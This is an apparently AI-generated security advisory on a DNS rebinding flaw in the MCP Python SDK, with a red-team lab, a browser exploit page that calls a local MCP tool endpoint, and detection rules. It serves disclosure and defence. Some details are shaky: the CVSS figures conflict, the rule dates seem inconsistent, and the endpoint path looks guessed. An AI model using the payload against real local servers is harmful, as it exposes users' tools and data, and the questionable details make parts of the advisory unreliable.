CVE-2025-66416

Executive Summary

CVE-2025-66416 is a security advisory affecting the MCP Python SDK (PyPI package mcp), a Python implementation of the Model Context Protocol (MCP). Prior to version 1.23.0, the SDK did not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication using FastMCP with streamable HTTP or SSE transport, and has not configured TransportSecuritySettings, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances. Note that running HTTP-based MCP servers locally without authentication is not recommended per MCP security best practices. This issue does not affect servers using stdio transport. The vulnerability is fixed in version 1.23.0.

Supply Chain & Package Security

This vulnerability affects the mcp package on PyPI. Users of this package should verify their dependency version and update to 1.23.0 or later. The package is widely used in AI/ML workflows where MCP servers are deployed locally.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Estimated 5.0 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim visits malicious website)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium (requires specific conditions: localhost HTTP server without auth)

Deep Dive & Mechanics

The vulnerability lies in the MCP Python SDK's HTTP transport layer. When a FastMCP server is configured with streamable HTTP or SSE transport and runs on localhost without authentication, it does not validate the Host header or implement DNS rebinding protection. A malicious website can use DNS rebinding to make the victim's browser send requests to localhost (or 127.0.0.1), bypassing same-origin policy. The attacker can then invoke MCP tools or access resources exposed by the server.

Key Conditions:

• Server uses HTTP transport (not stdio)
• Server runs on localhost
• No authentication configured
• TransportSecuritySettings not set

Vulnerable vs. Patched Code

Vulnerable (pre-1.23.0):

from mcp.server.fastmcp import FastMCP

# No TransportSecuritySettings configured
mcp = FastMCP("MyServer")
mcp.run(transport="sse")  # or "streamable-http"

Patched (1.23.0+):

from mcp.server.fastmcp import FastMCP
from mcp.server.transport import TransportSecuritySettings

# Enable DNS rebinding protection
security = TransportSecuritySettings(enable_dns_rebinding_protection=True)
mcp = FastMCP("MyServer", transport_security=security)
mcp.run(transport="sse")

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install vulnerable MCP SDK: pip install mcp==1.22.0
2. Create a vulnerable server (server.py):

from mcp.server.fastmcp import FastMCP

mcp = FastMCP("VulnServer")

@mcp.tool()
def secret_data() -> str:
    return "This is sensitive data"

mcp.run(transport="sse")

3. Run server: python server.py
4. Create a malicious HTML page (exploit.html):

<!DOCTYPE html>
<html>
<body>
<script>
// DNS rebinding payload - simplified for demonstration
function exploit() {
    fetch('http://127.0.0.1:8000/tools/secret_data', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify({})
    }).then(r => r.text()).then(alert);
}
setTimeout(exploit, 1000);
</script>
</body>
</html>

5. Host the HTML on a public server and trick victim into visiting it.

Note: Real DNS rebinding requires controlling a domain that resolves to attacker IP initially, then to 127.0.0.1 after TTL expires.

Blue Team

Detection:

• Monitor for unexpected HTTP requests to localhost from browser contexts
• Check for DNS queries with very short TTLs (indicates rebinding)
• Review server logs for requests with suspicious Host headers

Prevention:

• Always configure TransportSecuritySettings with DNS rebinding protection
• Use stdio transport when possible
• Implement authentication for all HTTP-based MCP servers
• Do not run MCP servers on localhost without authentication

Indicators of Compromise (IOCs)

• Network: HTTP requests to 127.0.0.1 or localhost on port 8000 (or custom port) with MCP tool invocation patterns
• DNS: Queries for domains with TTL < 60 seconds, especially those resolving to 127.0.0.1
• Logs: Server logs showing requests from unexpected origins (e.g., Origin: https://malicious.com)
• Process: python process running mcp with --transport sse or --transport streamable-http

Detection Engineering

YARA Rule

rule MCP_DNS_Rebinding_Vulnerability {
    meta:
        description = "Detects vulnerable MCP Python SDK code without DNS rebinding protection"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-66416"
    strings:
        $s1 = "FastMCP("
        $s2 = ".run(transport="
        $s3 = "TransportSecuritySettings"
        $s4 = "enable_dns_rebinding_protection"
    condition:
        $s1 and $s2 and not ($s3 and $s4)
}

Sigma Rule

title: MCP DNS Rebinding Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential DNS rebinding attacks against local MCP servers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: mcp
detection:
    selection:
        cs-host: "127.0.0.1"
        cs-uri-query|contains: "/tools/"
    condition: selection
falsepositives:
    - Legitimate local development tools
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-66416 MCP DNS Rebinding Exploit"; flow:to_server; content:"POST"; http_method; content:"/tools/"; http_uri; content:"127.0.0.1"; http_host; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to MCP Python SDK version 1.23.0 or later.
2. Configuration: Enable DNS rebinding protection via TransportSecuritySettings.
3. Best Practices: Do not run HTTP-based MCP servers on localhost without authentication.
4. Alternative: Use stdio transport instead of HTTP when possible.
5. Monitoring: Implement detection rules as described above.

Patch Command:

pip install --upgrade mcp

Report generated by Valters IT DevSecOps AI Assistant
Signature: Valters IT